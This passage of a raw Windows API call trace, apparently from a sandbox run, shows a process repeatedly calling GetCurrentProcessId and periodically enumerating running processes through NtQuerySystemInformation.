GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.554] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0296.555] GetCurrentProcessId () returned 0x10c0 [0297.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.091] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.092] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.093] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.094] GetCurrentProcessId () returned 0x10c0 [0297.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.674] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.675] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.676] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.677] GetCurrentProcessId () returned 0x10c0 [0297.678] GetCurrentProcessId () returned 0x10c0 [0297.678] GetCurrentProcessId () returned 0x10c0 [0297.678] GetCurrentProcessId () returned 0x10c0 [0297.678] GetCurrentProcessId () returned 0x10c0 [0297.678] GetCurrentProcessId () returned 0x10c0 [0297.678] GetCurrentProcessId () returned 0x10c0 [0298.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.207] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.208] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.209] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.210] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.211] GetCurrentProcessId () returned 0x10c0 [0298.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.800] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.801] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.802] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.803] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0298.804] GetCurrentProcessId () returned 0x10c0 [0299.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.357] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.358] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 